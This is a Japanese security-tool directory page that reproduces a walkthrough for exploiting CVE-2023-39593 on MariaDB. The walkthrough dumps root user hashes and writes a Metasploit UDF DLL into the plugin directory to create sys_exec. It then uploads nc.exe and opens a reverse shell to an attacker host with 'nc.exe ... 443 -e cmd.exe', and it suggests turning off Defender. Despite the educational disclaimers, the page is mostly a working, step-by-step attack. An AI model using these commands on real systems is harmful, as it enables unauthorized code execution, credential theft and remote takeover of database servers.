Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-39593 — データベース認証を利用したコード実行 | Kitploit
ツール/GitHubGitHub/ant1sec-ops/cve-2023-39593
特権昇格エクスプロイトポストエクスプロイトペネトレーションテストコマンド&コントロール学習と教育リモートアクセスツールペイロード開発データベースセキュリティ
GitHubant1sec-ops/cve-2023-39593

CVE-2023-39593

データベース認証を利用したコード実行

リポジトリを見る
231年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MariaDB 10.5 認証済みコード実行 - sys_exec

このガイドでは、リモートサーバー上のMariaDBにおけるユーザー定義関数(UDF)の脆弱性を悪用するための詳細な手順を説明します。これらの手順には、脆弱なデータベースシステム上での悪意のあるコードのダウンロードと実行が含まれます。

警告: このドキュメントは教育目的のみです。これらの技術を許可なく使用することは違法であり、非倫理的です。

攻撃を再現する手順

1. MariaDBリモートホストに接続する

以下のコマンドを使用してMySQLサーバーに接続します:

root@kitploit:~
mysql -h 192.168.214.129 -u root -pPassw0rd!

2. MariaDBのバージョンを確認する

実行中のMySQLのバージョンを確認するには、以下を実行します:

root@kitploit:~
select @@version;

3. 全ユーザーを一覧表示する

現在ログインしているユーザーを確認するには:

root@kitploit:~
select user();

4. rootユーザーに関するすべての情報をダンプする

rootユーザーに関連するすべての詳細を取得します:

root@kitploit:~
select * from mysql.user where user='root';

5. ユーザーの権限を確認する

現在のユーザーがどの権限を持っているかを確認します:

root@kitploit:~
show grants;

6. システムのアーキテクチャを確認する

システムアーキテクチャがUDFに対して脆弱かどうかを確認します:

root@kitploit:~
select @@version_compile_os, @@version_compile_machine;

7. プラグインディレクトリを確認する

UDFファイルをアップロードできるプラグインディレクトリを特定します:

root@kitploit:~
select @@plugin_dir;

8. 32ビットDLLをコピーする

Metasploitのエクスプロイトディレクトリから32ビットDLLをコピーします:

root@kitploit:~
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

9. DLLをBase64形式に変換する

udf.dllファイルをbase64形式でエンコードします:

root@kitploit:~
cat udf.dll | base64 | tr -d '\n' > udf.base64

10. DLLをMySQLサーバーに転送する

udf.base64からbase64値をコピーし、MySQLサーバーに転送します:

テキストエディタでudf.base64を開きます:

root@kitploit:~
leafpad udf.base64

MariaDBで以下を実行します:

root@kitploit:~
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

必要に応じて、代わりに以下のパスを使用します:

root@kitploit:~
C:\Program Files\MariaDB 11.1\lib\plugin\

11. MariaDBにUDF関数をロードする

MariaDBで以下のコマンドを実行して新しい関数を作成します:

root@kitploit:~
create function sys_exec returns int soname 'udf.dll';

注: sys_eval、sys_get、do_system、sys_bineval も使用できます。intoではなくintを使用するようにしてください。

12. UDFのインストールを確認する

UDF関数が正常にインストールされたかどうかを確認します:

root@kitploit:~
select * from mysql.func;

13. Netcatバイナリを準備する

Netcat実行可能ファイルをローカルディレクトリにコピーし、base64でエンコードします:

root@kitploit:~
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64

14. NetcatをMariaDBサーバーに転送する

テキストエディタでnc.base64を開きます:

root@kitploit:~
leafpad nc.base64

次に、MySQLで以下のように実行します:

root@kitploit:~
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

または、直接以下のコマンドでアップロードすることもできます:

root@kitploit:~
mysql -u root -p -h 192.168.214.129 < nc.base64

15. リバースシェルのためにNetcatを実行する

ポート443でNetcatリスナーを起動します:

root@kitploit:~
sudo nc -nlvp 443

リモートサーバーでリバースシェルのためにNetcatを実行します:

root@kitploit:~
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

注: この手順はWindows Defenderや他のアンチウイルスソフトウェアによってブロックされる可能性があります。PowerShellエンコードコマンド(powershellbase64)の使用を検討し、Defenderがオフになっていることを確認してください。

16. PowerShellコマンドを実行する

Base64エンコードを使用してPowerShellコマンドを実行します:

root@kitploit:~
select sys_exec('powershellbase64');

注意: 多くの場合、NT AUTHORITY\SYSTEM権限を取得できる場合があります。

追加情報

  • 関数の削除: 作成したUDF関数を削除するには:

    root@kitploit:~
    drop function sys_get;
    
  • ローカルインファイルの確認: ローカル書き込みが有効かどうかを確認します:

    root@kitploit:~
    show variables like 'local_infile';
    
  • INSERT権限を持つユーザーを検索: INSERT権限を持つユーザーを特定します:

    root@kitploit:~
    use mysql;
    select user from user where insert_priv='Y' and Host='%';
    

免責事項: このドキュメントは教育目的およびセキュリティ研究のみを意図しています。この情報の誤用は刑事責任や厳格な法的罰則を招く可能性があります。ネットワークやシステムで脆弱性をテストする前に、必ず関連当局から許可を得てください。

ツールをダウンロード